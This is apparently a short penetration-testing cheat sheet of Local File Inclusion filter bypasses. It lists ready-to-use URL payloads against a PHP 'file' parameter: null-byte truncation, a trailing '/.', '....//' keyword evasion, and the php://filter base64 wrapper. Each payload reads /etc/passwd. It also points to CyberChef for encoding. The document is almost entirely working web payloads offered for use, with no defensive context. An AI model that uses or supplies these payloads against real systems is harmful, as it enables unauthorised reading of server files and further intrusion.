LFI Filter Bypass

Null Byte bypass

Example:

http://site.com/index.php?file=../../../etc/passwd%00 (0x00 in hex)

Current directory trick

http://site.com/index.php?file=../../../etc/passwd/.

Keyword filter bypass

Example:

 http://site.com/index.php?file=....//....//....//....//etc/passwd

Base64 PHP Filter

 http://site.com/index.php?file=php://filter/convert.base64-encode/resource=../../etc/passwd

HTML URL Encoding bypass

Use Cyberchef! https://gchq.github.io/CyberChef/